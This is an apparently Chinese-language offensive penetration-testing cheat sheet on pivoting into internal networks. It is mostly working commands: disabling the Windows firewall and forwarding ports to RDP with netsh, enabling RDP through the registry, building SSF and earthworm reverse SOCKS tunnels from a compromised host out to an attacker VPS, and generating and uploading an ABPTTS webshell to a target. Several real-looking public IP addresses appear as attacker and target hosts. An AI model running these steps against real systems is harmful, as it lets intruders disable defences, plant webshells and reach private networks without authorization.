三、内网穿透


三、内网穿透

0x01 工具

1 端口转发/代理工具

ssf
abptts (基于HTTP的正向端口转发)
earthworm (正反向、跨平台socks代理)
frp (反向socks代理)
Neo-reGeorg (HTTP正向socks代理)
reDuh
Venom

2 流量代理工具

Windows: proxifier
Linux: proxychains

3 出口IP查询接口

http://ip-api.com/json/?lang=zh-CN

0x02 netsh端口转发

条件: 管理员权限

1 检查防火墙配置/关闭防火墙

netsh firewall show config

英文显示为: Operational mode
netsh advfirewall set allprofiles state off

(成功时显示Ok.)

2 查看当前系统防火墙状态

netsh firewall show state

3 端口转发、规则建立

打开外网IP端口
netsh advfirewall firewall add rule name="test" dir=in action=allow protocol=TCP localport=1212

(成功时显示ok)
转发到内网IP端口
netsh interface portproxy add v4tov4 listenport=1212 connectaddress=127.0.0.1 connectport=3389

(成功时无回显)
端口转发状态查看
netsh interface portproxy show all

4 远程桌面连接外网IP端口登录

5 结束端口转发/删除规则

netsh advfirewall firewall delete rule name="test" dir=in protocol=TCP localport=1212netsh interface portproxy delete v4tov4 listenport=1212

6 其他

通过注册表开启3389端口:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
查看远程登录端口进程:
tasklist /svc
svchost.exe进程号 TermService
查看端口:
netstat -ano | findstr 进程号

0x03 SSF正反向跨平台socks代理

1 反向代理

靶机:Linux 106.15.197.157。上传ssf.exe、certs文件,在ssf.exe目录下运行程序。
攻击机:Windows 169.254.35.174,安装proxifier做socks代理。
vps监听1050端口
ssfd.exe -p 1050

目标主机连接1050端口,转发数据至1051端口
./ssf -F 1051 -p 1050 106.15.197.157

本地proxychains代理本地127.0.0.1的1051端口

当前出口IP查询

2 正向代理

条件:目标的防火墙设置比较严,只准进不准出,并且我们没有权限更改防火墙规则。
靶机:上传ssfd.exe、certs文件,在ssfd.exe目录下运行程序。
目标边界监听1050端口
ssfd.exe -p 1050
./ssfd -p 1050
攻击机连接目标边界的1050端口,并将数据转发给1051端口
ssf.exe -D 1051 -p 1050 目标机IP
./ssf -D 1051 -p 1050 目标机IP
本地proxifier代理本地127.0.0.1的1051端口

0x04 ABPTTS正向跨平台代理

不易被杀软捕获,ssl加密,相对比较稳定

1 安装

git clone https://github.com/nccgroup/ABPTTS.git
apt install python-setuptools
apt install python-pip
pip install --upgrade pip
python2 -m pip install pycrypto
python2 -m pip install pycryptodome
python2 -m pip install httplib2

2 生成webshell

python2 abpttsfactory.py -o webshell

3 上传webshell至目标边界机器

http://115.193.190.173:8081/shogunEvicted/

4 攻击机连接

python abpttsclient.py -c webshell/config.txt -u "可访问到webshell的链接" -f 本地内网IP:本地端口/目标主机内网IP:要转发的目标主机端口
exm: python2 abpttsclient.py -c webshell/config.txt -u "http://115.193.190.173:8081/shogunEvicted/" -f 127.0.0.1:33389/115.193.190.173:3389
//将目标边界的远程端口转发到本地的33389端口

0x05 earthworm正反向跨平台socks代理

1 正向代理

目标机开启监听
./ew_for_linux64 -s ssocksd -l 53

攻击机开启代理工具
Linux下,proxychains(Linux,apt install proxychains)
修改配置,vim /etc/proxychains.conf,最后一行修改:socks5 127.0.0.1 53
使用任何工具命令前,加上proxychains

Windows下,proxyfier(windows)
Profile — Proxy Servers... — add — 127.0.0.1 端口53 — 不要密码,enable取消勾选

2 反向代理

攻击机监听
ew_for_win.exe -s rcsocks -l 1080 -e 53 #外网53端口流量转发到内网1080端口

目标主机反向连接
./ew_for_linux64 -s rssocks -d 95.179.218.164 -e 53


攻击机开启代理工具
Linux下,proxychains(linux,apt install proxychains)
修改配置,vim /etc/proxychains.conf,最后一行修改:socks5 127.0.0.1 1080
使用任何工具命令前,加上proxychains
windows下,proxtfier(windows)
Profile — Proxy Servers... — add — 127.0.0.1 端口1080 — 不要密码,enable取消勾选
代理成功!